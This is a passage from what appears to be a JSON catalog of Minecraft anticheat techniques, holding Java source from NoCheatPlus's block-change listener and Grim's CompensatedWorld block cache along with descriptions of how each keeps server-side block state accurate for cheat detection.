TODO: Register/store a fetcher thing (DirectionalFromBlock)\n        if (is1_13) {\n            final BlockData data = pistonBlock.getState().getBlockData();\n            if (data instanceof org.bukkit.block.data.Directional) {\n                org.bukkit.block.data.Directional directional = (org.bukkit.block.data.Directional) data;\n                return directional.getFacing();\n            }\n            return null;\n        }\n        final MaterialData data = pistonBlock.getState().getData();\n        if (data instanceof Directional) {\n            Directional directional = (Directional) data;\n            return directional.getFacing();\n        }\n        return null;\n    }\n\n    /**\n     * Get the direction, in which blocks are or would be moved (towards the piston).\n     * \n     * @param pistonBlock\n     * @param eventDirection\n     * @return\n     */\n    private BlockFace getRetractDirection(final Block pistonBlock, final BlockFace eventDirection) {\n        // Tested for pistons directed upwards.\n        // TODO: Test for pistons directed downwards, N, W, S, E.\n        // TODO: distinguish sticky vs. not sticky.\n        final BlockFace pistonDirection = getDirection(pistonBlock);\n        if (pistonDirection == null) {\n            return eventDirection;\n        }\n        else {\n            return eventDirection.getOppositeFace();\n        }\n    }\n\n    private void onPistonExtend(final BlockPistonExtendEvent event) {\n        final BlockFace direction = event.getDirection();\n        tracker.addPistonBlocks(event.getBlock().getRelative(direction), direction, event.getBlocks());\n    }\n\n    private void onPistonRetract(final BlockPistonRetractEvent event) {\n        final List<Block> blocks;\n        if (retractHasBlocks) {\n            blocks = event.getBlocks();\n        }\n        else {\n            @SuppressWarnings(\"deprecation\")\n            final Location retLoc = event.getRetractLocation();\n            if (retLoc == null) {\n                blocks = null;\n            }\n            else {\n                final Block retBlock = retLoc.getBlock();\n                final long flags = BlockFlags.getBlockFlags(retBlock.getType());\n                if ((flags & F_MOVABLE_IGNORE) == 0L && (flags & F_MOVABLE) != 0L) {\n                    blocks = new ArrayList<Block>(1);\n                    blocks.add(retBlock);\n                }\n                else {\n                    blocks = null;\n                }\n            }\n        }\n        // TODO: Special cases (don't push upwards on retract, with the resulting location being a solid block).\n        final Block pistonBlock = event.getBlock();\n        final BlockFace direction = getRetractDirection(pistonBlock, event.getDirection());\n        tracker.addPistonBlocks(pistonBlock.getRelative(direction.getOppositeFace()), direction, blocks);\n    }\n\n    private void onBlockRedstone(final BlockRedstoneEvent event) {\n        final int oldCurrent = event.getOldCurrent();\n        final int newCurrent = event.getNewCurrent();\n        if (oldCurrent == newCurrent || oldCurrent > 0 && newCurrent > 0) {\n            return;\n        }\n        // TODO: Fine grained enabling state (pistons, doors, other).\n        final Block block = event.getBlock();\n        // TODO: Abstract method for a block and a set of materials (redstone, interact, ...).\n        if (block == null \n            || (BlockFlags.getBlockFlags(block.getType()) & BlockFlags.F_VARIABLE_REDSTONE) == 0) {\n            return;\n        }\n        addRedstoneBlock(block);\n    }\n\n    private void addRedstoneBlock(final Block block) {\n        addBlockWithAttachedPotential(block, BlockFlags.F_VARIABLE_REDSTONE);\n    }\n\n    private void onEntityChangeBlock(final EntityChangeBlockEvent event) {\n        final Block block = event.getBlock();\n        if (block != null) {\n            tracker.addBlocks(block); // E.g. falling blocks like sand.\n        }\n    }\n\n    private void onPlayerInteract(final PlayerInteractEvent event) {\n        // Check preconditions.\n        final org.bukkit.event.block.Action action = event.getAction();\n        if (action == org.bukkit.event.block.Action.RIGHT_CLICK_BLOCK) {\n            onRightClickBlock(event);\n        }\n        else if (!event.isCancelled()) {\n            if (action == org.bukkit.event.block.Action.PHYSICAL) {\n                onInteractPhysical(event);\n            }\n        }\n    }\n\n    private void onInteractPhysical(final PlayerInteractEvent event) {\n        final Block block = event.getClickedBlock();\n        if (block != null) {\n            final Material type = block.getType();\n            // TODO: Consider a flag.\n            if (type == BridgeMaterial.FARMLAND) {\n                tracker.addBlocks(block);\n            }\n        }\n    }\n\n    @SuppressWarnings(\"deprecation\")\n    private void onRightClickBlock(final PlayerInteractEvent event) {\n        final Result result = event.useInteractedBlock();\n        if ((result == Result.ALLOW \n            || result == Result.DEFAULT && !event.isCancelled())) {\n            final Block block = event.getClickedBlock();\n            if (block != null) {\n                final Material type = block.getType();\n                // Dirt\n                final ToolType blocktool = dirtblocks.get(type);\n                if (blocktool != null) {\n                    final ToolProps tool = BlockProperties.getToolProps(event.getItem());\n                    if (is1_13) {\n                        if (tool.toolType == ToolType.SPADE \n                            || blocktool == tool.toolType) {\n                            tracker.addBlocks(block);\n                        }\n                    } \n                    else {\n                        final boolean defdata = block.getData() == 0;\n                        if (is1_9 && type == BridgeMaterial.GRASS_BLOCK && tool.toolType == ToolType.SPADE \n                            || defdata && tool.toolType == ToolType.HOE) {\n                            tracker.addBlocks(block);\n                        }\n                    }\n                }\n\n                if ((BlockFlags.getBlockFlags(type) & BlockFlags.F_VARIABLE_USE) != 0L) {\n                    addBlockWithAttachedPotential(block, BlockFlags.F_VARIABLE_USE);\n                }\n            }\n        }\n    }\n\n    private void onBlockForm(final BlockFormEvent event) {\n        final Block block = event.getBlock();\n        if (block != null) {\n            // TODO: Filter by player activity.\n            tracker.addBlocks(block);\n        }\n    }\n\n    /**\n     * Add a past state for this block, extending for the other block in case of\n     * doors. This is for the case of interaction or redstone level change.\n     * \n     * @param block\n     * @param relevantFlags\n     */\n    private void addBlockWithAttachedPotential(final Block block, final long relevantFlags) {\n        if (is1_13) {\n            final BlockData data = block.getState().getBlockData();\n            if (data instanceof org.bukkit.block.data.type.Door) {\n                org.bukkit.block.data.type.Door door = (org.bukkit.block.data.type.Door) data;\n                final Block otherBlock = block.getRelative(door.getHalf() == Half.TOP ? BlockFace.DOWN : BlockFace.UP);\n                /*\n                 * TODO: In case of redstone: Double doors... detect those too? Is it still more\n                 * efficient than using BlockPhysics with lazy delayed updating\n                 * (TickListener...). Hinge corner... possibilities?\n                 */\n                if (otherBlock != null // Top of the map / special case.\n                    && (BlockFlags.getBlockFlags(otherBlock.getType()) & relevantFlags) != 0) {\n                    tracker.addBlocks(block, otherBlock);\n                    return;\n                }\n            }\n        } \n        // Legacy\n        else {\n            final MaterialData materialData = block.getState().getData();\n            if (materialData instanceof Door) {\n                final Door door = (Door) materialData;\n                final Block otherBlock = block.getRelative(door.isTopHalf() ? BlockFace.DOWN : BlockFace.UP);\n                /*\n                 * TODO: In case of redstone: Double doors... detect those too? Is it still more\n                 * efficient than using BlockPhysics with lazy delayed updating\n                 * (TickListener...). Hinge corner... possibilities?\n                 */\n                if (otherBlock != null // Top of the map / special case.\n                    && (BlockFlags.getBlockFlags(otherBlock.getType()) & relevantFlags) != 0) {\n                    tracker.addBlocks(block, otherBlock);\n                    return;\n                }\n            }\n        }\n        // Only add the block in question itself.\n        tracker.addBlocks(block);\n    }\n\n}\n// NOTE (AI): The S22 corpus hits include the SurvivalFly and Passable consumption sites (matchBlockChange with Direction.X_NEG and friends); the listener file is the ingestion side of the tracker.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/compat/blocks/changetracker/BlockChangeListener.java",
       "variations": "Grim CompensatedWorld and Hydro WorldTracker are the same compensated cache in modern anticheats; Kauri BlockUpdateHandler applies S22 updates with a keepalive-action queue; Intave MultiBlockChangeReader decodes the packet into positions and block data for its BlockUpdateTracker."
      },
      {
       "name": "CompensatedWorld block changes (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Apply S22 multi-block and S23 single-block changes to Grim's compensated world with transaction accuracy.",
       "how_it_works": "Block changes from the server, including multi-block-change batches, are queued and applied inside runSafely and applyBlockChanges at the correct transaction point, so the async world matches the client's view when movement simulation reads it; updateBlock writes combined block ids and getBlock and getBlockStateId serve every check that needs a block. Piston and chunk events route into the same cache, and unloaded-chunk regions are tracked for setback logic.",
       "detects": "Keeps phase, ground-spoof and scaffold checks honest by presenting the block state the client actually had instead of the server's current state.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedWorld.java =====\npackage ac.grim.grimac.utils.latency;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.api.PacketWorld;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.change.BlockModification;\nimport ac.grim.grimac.utils.chunks.Column;\nimport ac.grim.grimac.utils.collisions.CollisionData;\nimport ac.grim.grimac.utils.collisions.datatypes.SimpleCollisionBox;\nimport ac.grim.grimac.utils.data.BlockPrediction;\nimport ac.grim.grimac.utils.data.Pair;\nimport ac.grim.grimac.utils.data.PistonData;\nimport ac.grim.grimac.utils.data.ShulkerData;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityShulker;\nimport ac.grim.grimac.utils.math.GrimMath;\nimport ac.grim.grimac.utils.math.Vector3dm;\nimport ac.grim.grimac.utils.nmsutil.Collisions;\nimport ac.grim.grimac.utils.nmsutil.GetBoundingBox;\nimport ac.grim.grimac.utils.nmsutil.Materials;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\nimport com.github.retrooper.packetevents.protocol.player.User;\nimport com.github.retrooper.packetevents.protocol.world.BlockFace;\nimport com.github.retrooper.packetevents.protocol.world.chunk.BaseChunk;\nimport com.github.retrooper.packetevents.protocol.world.chunk.TileEntity;\nimport com.github.retrooper.packetevents.protocol.world.chunk.impl.v1_16.Chunk_v1_9;\nimport com.github.retrooper.packetevents.protocol.world.chunk.impl.v_1_18.Chunk_v1_18;\nimport com.github.retrooper.packetevents.protocol.world.chunk.palette.DataPalette;\nimport com.github.retrooper.packetevents.protocol.world.chunk.palette.ListPalette;\nimport com.github.retrooper.packetevents.protocol.world.chunk.palette.PaletteType;\nimport com.github.retrooper.packetevents.protocol.world.chunk.storage.LegacyFlexibleStorage;\nimport com.github.retrooper.packetevents.protocol.world.dimension.DimensionType;\nimport com.github.retrooper.packetevents.protocol.world.states.WrappedBlockState;\nimport com.github.retrooper.packetevents.protocol.world.states.defaulttags.BlockTags;\nimport com.github.retrooper.packetevents.protocol.world.states.enums.East;\nimport com.github.retrooper.packetevents.protocol.world.states.enums.Half;\nimport com.github.retrooper.packetevents.protocol.world.states.enums.North;\nimport com.github.retrooper.packetevents.protocol.world.states.enums.South;\nimport com.github.retrooper.packetevents.protocol.world.states.enums.West;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateType;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateTypes;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateValue;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.util.Vector3i;\nimport com.github.retrooper.packetevents.wrapper.PacketWrapper;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerBlockPlacement;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerDigging;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientUseItem;\nimport it.unimi.dsi.fastutil.ints.Int2ObjectMap;\nimport it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap;\nimport it.unimi.dsi.fastutil.longs.Long2ObjectMap;\nimport it.unimi.dsi.fastutil.longs.Long2ObjectOpenHashMap;\nimport it.unimi.dsi.fastutil.objects.Object2ObjectLinkedOpenHashMap;\nimport lombok.Getter;\n\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n// Inspired by https://github.com/GeyserMC/Geyser/blob/master/connector/src/main/java/org/geysermc/connector/network/session/cache/ChunkCache.java\npublic class CompensatedWorld implements PacketWorld {\n    public static final ClientVersion blockVersion = PacketEvents.getAPI().getServerManager().getVersion().toClientVersion();\n    private static final WrappedBlockState airData = WrappedBlockState.getByGlobalId(blockVersion, 0);\n    public final GrimPlayer player;\n    public final Long2ObjectMap<Column> chunks;\n    // Packet locations for blocks\n    public final Set<PistonData> activePistons = new HashSet<>();\n    public final Set<ShulkerData> openShulkerBoxes = new HashSet<>();\n    // 1.17 with datapacks, and 1.18, have negative world offset values\n    @Getter\n    private int minHeight = 0;\n    @Getter\n    private int maxHeight = 256;\n\n    // When the player changes the blocks, they track what the server thinks the blocks are\n    //\n    // Pair of the block position and the owning list TO the actual block\n    // The owning list is so that this info can be removed when the final list is processed\n    private final Long2ObjectOpenHashMap<BlockPrediction> originalServerBlocks = new Long2ObjectOpenHashMap<>();\n    // Blocks the client changed while placing or breaking blocks\n    private List<Vector3i> currentlyChangedBlocks = new LinkedList<>();\n    private final Int2ObjectMap<List<Vector3i>> serverIsCurrentlyProcessingThesePredictions = new Int2ObjectOpenHashMap<>();\n    private final Object2ObjectLinkedOpenHashMap<Pair<Vector3i, DiggingAction>, Vector3d> unackedActions = new Object2ObjectLinkedOpenHashMap<>();\n    private boolean isCurrentlyPredicting = false;\n    public boolean isRaining = false;\n\n    private final boolean noNegativeBlocks;\n\n    public CompensatedWorld(GrimPlayer player) {\n        this.player = player;\n        chunks = new Long2ObjectOpenHashMap<>(81, 0.5f);\n        noNegativeBlocks = player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_16_4);\n    }\n\n    public void startPredicting() {\n        if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_18_2)) return; // No predictions\n        this.isCurrentlyPredicting = true;\n    }\n\n    public void handlePredictionConfirmation(int prediction) {\n        for (Iterator<Int2ObjectMap.Entry<List<Vector3i>>> it = serverIsCurrentlyProcessingThesePredictions.int2ObjectEntrySet().iterator(); it.hasNext(); ) {\n            Map.Entry<Integer, List<Vector3i>> iter = it.next();\n            if (iter.getKey() <= prediction) {\n                applyBlockChanges(iter.getValue());\n                it.remove();\n            } else {\n                break;\n            }\n        }\n    }\n\n    public void handleBlockBreakAck(Vector3i blockPos, int blockState, DiggingAction action, boolean accepted) {\n        if (!accepted || action != DiggingAction.START_DIGGING || !unackedActions.containsKey(new Pair<>(blockPos, action))) {\n            player.sendTransaction(); // This packet actually matters\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                Vector3d playerPos = unackedActions.remove(new Pair<>(blockPos, action));\n                handleAck(blockPos, blockState, playerPos);\n            });\n        } else {\n            unackedActions.remove(new Pair<>(blockPos, action));\n        }\n\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            while (unackedActions.size() >= 50) {\n                this.unackedActions.removeFirst();\n            }\n        });\n    }\n\n    private void applyBlockChanges(List<Vector3i> toApplyBlocks) {\n        player.sendTransaction();\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> toApplyBlocks.forEach(vector3i -> {\n            BlockPrediction predictionData = originalServerBlocks.get(vector3i.getSerializedPosition());\n\n            // We are the last to care about this prediction, remove it to stop memory leak\n            // Block changes are allowed to execute out of order, because it actually doesn't matter\n            if (predictionData != null && predictionData.getForBlockUpdate() == toApplyBlocks) {\n                originalServerBlocks.remove(vector3i.getSerializedPosition());\n                handleAck(vector3i, predictionData.getOriginalBlockId(), predictionData.getPlayerPosition());\n            }\n        }));\n    }\n\n    private void handleAck(Vector3i vector3i, int originalBlockId, Vector3d playerPosition) {\n        // If we need to change the world block state\n        if (getBlock(vector3i).getGlobalId() != originalBlockId) {\n            player.blockHistory.add(\n                    new BlockModification(\n                            getBlock(vector3i),\n                            WrappedBlockState.getByGlobalId(originalBlockId),\n                            vector3i,\n                            GrimAPI.INSTANCE.getTickManager().currentTick,\n                            BlockModification.Cause.HANDLE_NETTY_SYNC_TRANSACTION\n                    )\n            );\n            updateBlock(vector3i.getX(), vector3i.getY(), vector3i.getZ(), originalBlockId);\n            WrappedBlockState state = WrappedBlockState.getByGlobalId(blockVersion, originalBlockId);\n\n            // The player will teleport themselves if they get stuck in the reverted block\n            if (playerPosition != null && CollisionData.getData(state.getType()).getMovementCollisionBox(player, player.getClientVersion(), state, vector3i.getX(), vector3i.getY(), vector3i.getZ()).isIntersected(player.boundingBox)) {\n                player.lastX = player.x;\n                player.lastY = player.y;\n                player.lastZ = player.z;\n                player.x = playerPosition.getX();\n                player.y = playerPosition.getY();\n                player.z = playerPosition.getZ();\n                player.boundingBox = GetBoundingBox.getCollisionBoxForPlayer(player, player.x, player.y, player.z);\n            }\n        }\n    }\n\n    public void handleBlockBreakPrediction(WrapperPlayClientPlayerDigging digging) {\n        // 1.14.4 intentional and correct, do not change it to 1.14\n        if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14_4) && player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_18_2)) {\n            unackedActions.put(new Pair<>(digging.getBlockPosition(), digging.getAction()), new Vector3d(player.x, player.y, player.z));\n        }\n    }\n\n    public void stopPredicting(PacketWrapper<?> wrapper) {\n        if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_18_2)) return; // No predictions\n        this.isCurrentlyPredicting = false; // We aren't in a block place or use item\n\n        if (this.currentlyChangedBlocks.isEmpty()) return; // Nothing to change\n\n        List<Vector3i> toApplyBlocks = this.currentlyChangedBlocks; // We must now track the client applying the server predicted blocks\n        this.currentlyChangedBlocks = new LinkedList<>(); // Reset variable without changing original\n\n        // We don't need to simulate any packets, it is native to the version we are on\n        if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_19)) {\n            // Pull the confirmation ID out of the packet\n            int confirmationId = 0;\n            if (wrapper instanceof WrapperPlayClientPlayerBlockPlacement playerBlockPlacement) {\n                confirmationId = playerBlockPlacement.getSequence();\n            } else if (wrapper instanceof WrapperPlayClientUseItem useItem) {\n                confirmationId = useItem.getSequence();\n            } else if (wrapper instanceof WrapperPlayClientPlayerDigging playerDigging) {\n                confirmationId = playerDigging.getSequence();\n            }\n\n            serverIsCurrentlyProcessingThesePredictions.put(confirmationId, toApplyBlocks);\n        } else {\n            // ViaVersion is updated and runs tasks with bukkit which is correct\n            // So we must wait for the bukkit thread to start ticking so via can \"confirm\" it.\n            //\n            // no need to support Folia on this one because Folia is 1.19+ only\n            GrimAPI.INSTANCE.getScheduler().getGlobalRegionScheduler().run(GrimAPI.INSTANCE.getGrimPlugin(), () -> {\n                // And then we jump back to the netty thread to simulate that Via sent the confirmation\n                player.runSafely(() -> applyBlockChanges(toApplyBlocks));\n            });\n        }\n    }\n\n    public static long chunkPositionToLong(int x, int z) {\n        return ((x & 0xFFFFFFFFL) << 32L) | (z & 0xFFFFFFFFL);\n    }\n\n    public boolean isNearHardEntity(SimpleCollisionBox playerBox) {\n        for (PacketEntity entity : player.compensatedEntities.entityMap.values()) {\n            if ((entity.isBoat || entity.getType() == EntityTypes.SHULKER || entity.isHappyGhast) && player.compensatedEntities.self.getRiding() != entity) {\n                SimpleCollisionBox box = entity.getPossibleCollisionBoxes();\n                if (box.isIntersected(playerBox)) {\n                    return true;\n                }\n            }\n        }\n\n        // Also block entities\n        for (ShulkerData data : openShulkerBoxes) {\n            SimpleCollisionBox shulkerCollision = data.getCollision();\n            if (playerBox.isCollided(shulkerCollision)) {\n                return true;\n            }\n        }\n\n        // Pistons are a block entity.\n        for (PistonData data : activePistons) {\n            for (SimpleCollisionBox box : data.boxes) {\n                if (playerBox.isCollided(box)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    }\n\n    private static BaseChunk create() {\n        if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_18)) {\n            return new Chunk_v1_18();\n        } else if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_16)) {\n            return new Chunk_v1_9(0, DataPalette.createForChunk());\n        }\n        return new Chunk_v1_9(0, new DataPalette(new ListPalette(4), new LegacyFlexibleStorage(4, 4096), PaletteType.CHUNK));\n    }\n\n    public void updateBlock(Vector3i pos, WrappedBlockState state) {\n        updateBlock(pos.getX(), pos.getY(), pos.getZ(), state.getGlobalId());\n    }\n\n    public void updateBlock(int x, int y, int z, int combinedID) {\n        Vector3i asVector = new Vector3i(x, y, z);\n        BlockPrediction prediction = originalServerBlocks.get(asVector.getSerializedPosition());\n\n        if (isCurrentlyPredicting) {\n            if (prediction == null) {\n                originalServerBlocks.put(asVector.getSerializedPosition(), new BlockPrediction(currentlyChangedBlocks, asVector, getBlock(asVector).getGlobalId(), new Vector3d(player.x, player.y, player.z))); // Remember server controlled block type\n            } else {\n                prediction.setForBlockUpdate(currentlyChangedBlocks); // Block existing there was placed by client, mark block to have a new prediction\n            }\n            currentlyChangedBlocks.add(asVector);\n        }\n\n        if (!isCurrentlyPredicting && prediction != null) {\n            // Server has a more up-to-date block, although client is more recent, replace the original serialized position\n            prediction.setOriginalBlockId(combinedID);\n            return;\n        }\n\n        Column column = getChunk(x >> 4, z >> 4);\n\n        // Apply 1.17 expanded world offset\n        int offsetY = y - minHeight;\n\n        if (column != null) {\n            if (column.chunks().length <= (offsetY >> 4) || (offsetY >> 4) < 0) return;\n\n            BaseChunk chunk = column.chunks()[offsetY >> 4];\n\n            if (chunk == null) {\n                chunk = create();\n                column.chunks()[offsetY >> 4] = chunk;\n\n                // Sets entire chunk to air\n                // This glitch/feature occurs due to the palette size being 0 when we first create a chunk section\n                // Meaning that all blocks in the chunk will refer to palette #0, which we are setting to air\n                chunk.set(0, 0, 0, 0);\n            }\n\n            WrappedBlockState previousState = chunk.get(blockVersion, x & 0xF, offsetY & 0xF, z & 0xF);\n            WrappedBlockState newState = WrappedBlockState.getByGlobalId(blockVersion, combinedID);\n\n            // The method also gets called for the previous state before replacement\n            player.pointThreeEstimator.handleChangeBlock(x, y, z, previousState);\n\n            chunk.set(x & 0xF, offsetY & 0xF, z & 0xF, combinedID);\n            player.compensatedGeysers.updateBlock(x, y, z, previousState, newState, minHeight);\n\n            // Handle stupidity such as fluids changing in idle ticks.\n            player.pointThreeEstimator.handleChangeBlock(x, y, z, newState);\n        }\n    }\n\n    public void tickOpenable(int blockX, int blockY, int blockZ) {\n        final WrappedBlockState data = getBlock(blockX, blockY, blockZ);\n        final StateType type = data.getType();\n        if (Materials.isClientSideOpenableDoor(type, player.getClientVersion())) {\n            WrappedBlockState otherDoor = getBlock(blockX,\n                    blockY + (data.getHalf() == Half.LOWER ? 1 : -1), blockZ);\n\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_13)) {\n                if (BlockTags.DOORS.contains(otherDoor.getType())) {\n                    otherDoor.setOpen(!otherDoor.isOpen());\n                    updateBlock(blockX, blockY + (data.getHalf() == Half.LOWER ? 1 : -1), blockZ, otherDoor.getGlobalId());\n                }\n                data.setOpen(!data.isOpen());\n                updateBlock(blockX, blockY, blockZ, data.getGlobalId());\n            } else {\n                // 1.12 attempts to change the bottom half of the door first\n                if (data.getHalf() == Half.LOWER) {\n                    data.setOpen(!data.isOpen());\n                    updateBlock(blockX, blockY, blockZ, data.getGlobalId());\n                } else if (BlockTags.DOORS.contains(otherDoor.getType()) && otherDoor.getHalf() == Half.LOWER) {\n                    // Then tries setting the first bit of whatever is below it, disregarding its type\n                    otherDoor.setOpen(!otherDoor.isOpen());\n                    updateBlock(blockX, blockY - 1, blockZ, otherDoor.getGlobalId());\n                }\n            }\n        } else if (Materials.isClientSideOpenableTrapdoor(type, player.getClientVersion()) || BlockTags.FENCE_GATES.contains(type)) {\n            // Take 12 most significant bytes -> the material ID.  Combine them with the new block magic data.\n            data.setOpen(!data.isOpen());\n            updateBlock(blockX, blockY, blockZ, data.getGlobalId());\n        } else if (BlockTags.BUTTONS.contains(type)) {\n            data.setPowered(true);\n        }\n    }\n\n    public void tickPlayerInPistonPushingArea() {\n        player.uncertaintyHandler.tick();\n        // Occurs on player login\n        if (player.boundingBox == null) return;\n\n        SimpleCollisionBox expandedBB = GetBoundingBox.getBoundingBoxFromPosAndSize(player, player.lastX, player.lastY, player.lastZ, 0.001f, 0.001f);\n        expandedBB.expandToAbsoluteCoordinates(player.x, player.y, player.z);\n        SimpleCollisionBox playerBox = expandedBB.copy().expand(1);\n\n        double modX = 0;\n        double modY = 0;\n        double modZ = 0;\n\n        for (PistonData data : activePistons) {\n            for (SimpleCollisionBox box : data.boxes) {\n                if (playerBox.isCollided(box)) {\n                    modX = Math.max(modX, Math.abs(data.direction.getModX() * 0.51D));\n                    modY = Math.max(modY, Math.abs(data.direction.getModY() * 0.51D));\n                    modZ = Math.max(modZ, Math.abs(data.direction.getModZ() * 0.51D));\n\n                    playerBox.expandMax(modX, modY, modZ);\n                    playerBox.expandMin(modX * -1, modY * -1, modZ * -1);\n\n                    if (data.hasSlimeBlock || (data.hasHoneyBlock && player.getClientVersion().isOlderThan(ClientVersion.V_1_15_2))) {\n                        player.uncertaintyHandler.slimePistonBounces.add(data.direction);\n                    }\n\n                    break;\n                }\n            }\n        }\n\n        for (ShulkerData data : openShulkerBoxes) {\n            SimpleCollisionBox shulkerCollision = data.getCollision();\n\n            BlockFace direction;\n            if (data.entity == null) {\n                WrappedBlockState state = getBlock(data.blockPos.getX(), data.blockPos.getY(), data.blockPos.getZ());\n                direction = state.getFacing();\n            } else {\n                direction = ((PacketEntityShulker) data.entity).facing.getOppositeFace();\n            }\n\n            if (direction == null) direction = BlockFace.UP; // default state\n\n            // Change negative corner in expansion as the direction is negative\n            // We don't bother differentiating shulker entities and shulker boxes\n            // I guess players can cheat to get an extra 0.49 of Y height on shulker boxes, I don't care.\n            if (direction.getModX() == -1 || direction.getModY() == -1 || direction.getModZ() == -1) {\n                shulkerCollision.expandMin(direction.getModX(), direction.getModY(), direction.getModZ());\n            } else {\n                shulkerCollision.expandMax(direction.getModX(), direction.getModY(), direction.getModZ());\n            }\n\n            if (playerBox.isCollided(shulkerCollision)) {\n                modX = Math.max(modX, Math.abs(direction.getModX() * 0.51D));\n                modY = Math.max(modY, Math.abs(direction.getModY() * 0.51D));\n                modZ = Math.max(modZ, Math.abs(direction.getModZ() * 0.51D));\n\n                playerBox.expandMax(modX, modY, modZ);\n                playerBox.expandMin(modX, modY, modZ);\n\n                player.uncertaintyHandler.isSteppingNearShulker = true;\n            }\n        }\n\n        player.uncertaintyHandler.pistonX.add(modX);\n        player.uncertaintyHandler.pistonY.add(modY);\n        player.uncertaintyHandler.pistonZ.add(modZ);\n\n        removeInvalidPistonLikeStuff(0);\n    }\n\n    public void removeInvalidPistonLikeStuff(int transactionId) {\n        // Tick the pistons and remove them if they can no longer exist\n        if (transactionId != 0) {\n            activePistons.removeIf(data -> data.lastTransactionSent < transactionId);\n            openShulkerBoxes.removeIf(data -> data.isClosing && data.lastTransactionSent < transactionId);\n        } else {\n            activePistons.removeIf(PistonData::tickIfGuaranteedFinished);\n            openShulkerBoxes.removeIf(ShulkerData::tickIfGuaranteedFinished);\n        }\n        // Remove if a shulker is not in this block position anymore\n        openShulkerBoxes.removeIf(box -> {\n            if (box.blockPos != null) { // Block is no longer valid\n                return !Materials.isShulker(getBlock(box.blockPos).getType());\n            } else { // Entity is no longer valid\n                return !player.compensatedEntities.entityMap.containsValue(box.entity);\n            }\n        });\n    }\n\n    public WrappedBlockState getBlock(Vector3i position) {\n        return getBlock(position.x, position.y, position.z);\n    }\n\n    public WrappedBlockState getBlock(int x, int y, int z) {\n        if (noNegativeBlocks && y < 0) return airData;\n\n        try {\n            Column column = getChunk(x >> 4, z >> 4);\n\n            y -= minHeight;\n            if (column == null || y < 0 || (y >> 4) >= column.chunks().length) return airData;\n\n            BaseChunk chunk = column.chunks()[y >> 4];\n            if (chunk != null) {\n                return chunk.get(blockVersion, x & 0xF, y & 0xF, z & 0xF);\n            }\n        } catch (Exception ignored) {\n        }\n\n        return airData;\n    }\n\n    @Override\n    public int getBlockStateId(int x, int y, int z) { // Logic copied from getBlock\n        if (noNegativeBlocks && y < 0) return -1;\n\n        try {\n            Column column = getChunk(x >> 4, z >> 4);\n\n            y -= minHeight;\n            if (column == null || y < 0 || (y >> 4) >= column.chunks().length) return -2;\n\n            BaseChunk chunk = column.chunks()[y >> 4];\n            if (chunk != null) {\n                return chunk.getBlockId(x & 0xF, y & 0xF, z & 0xF);\n            }\n        } catch (Exception ignored) {\n        }\n        return -3;\n    }\n\n    // Not direct power into a block\n    // Trapped chests give power but there's no packet to the client to actually apply this... ignore trapped chests\n    // just like mojang did!\n    public int getRawPowerAtState(BlockFace face, int x, int y, int z) {\n        WrappedBlockState block = getBlock(x, y, z);\n\n        if (block.getType() == StateTypes.REDSTONE_BLOCK) {\n            return 15;\n        } else if (block.getType() == StateTypes.DETECTOR_RAIL) { // Rails have directional requirement\n            return block.isPowered() ? 15 : 0;\n        } else if (block.getType() == StateTypes.REDSTONE_TORCH) {\n            return face != BlockFace.UP && block.isLit() ? 15 : 0;\n        } else if (block.getType() == StateTypes.REDSTONE_WIRE) {\n            BlockFace needed = face.getOppositeFace();\n\n            BlockFace badOne = needed.getCW();\n            BlockFace badTwo = needed.getCCW();\n\n            boolean isPowered = false;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_13)) {\n                switch (needed) {\n                    case DOWN:\n                        isPowered = true;\n                        break;\n                    case NORTH:\n                        isPowered = block.getNorth() == North.TRUE;\n                        if (isPowered && (badOne == BlockFace.NORTH || badTwo == BlockFace.NORTH)) {\n                            return 0;\n                        }\n                        break;\n                    case SOUTH:\n                        isPowered = block.getSouth() == South.TRUE;\n                        if (isPowered && (badOne == BlockFace.SOUTH || badTwo == BlockFace.SOUTH)) {\n                            return 0;\n                        }\n                        break;\n                    case WEST:\n                        isPowered = block.getWest() == West.TRUE;\n                        if (isPowered && (badOne == BlockFace.WEST || badTwo == BlockFace.WEST)) {\n                            return 0;\n                        }\n                        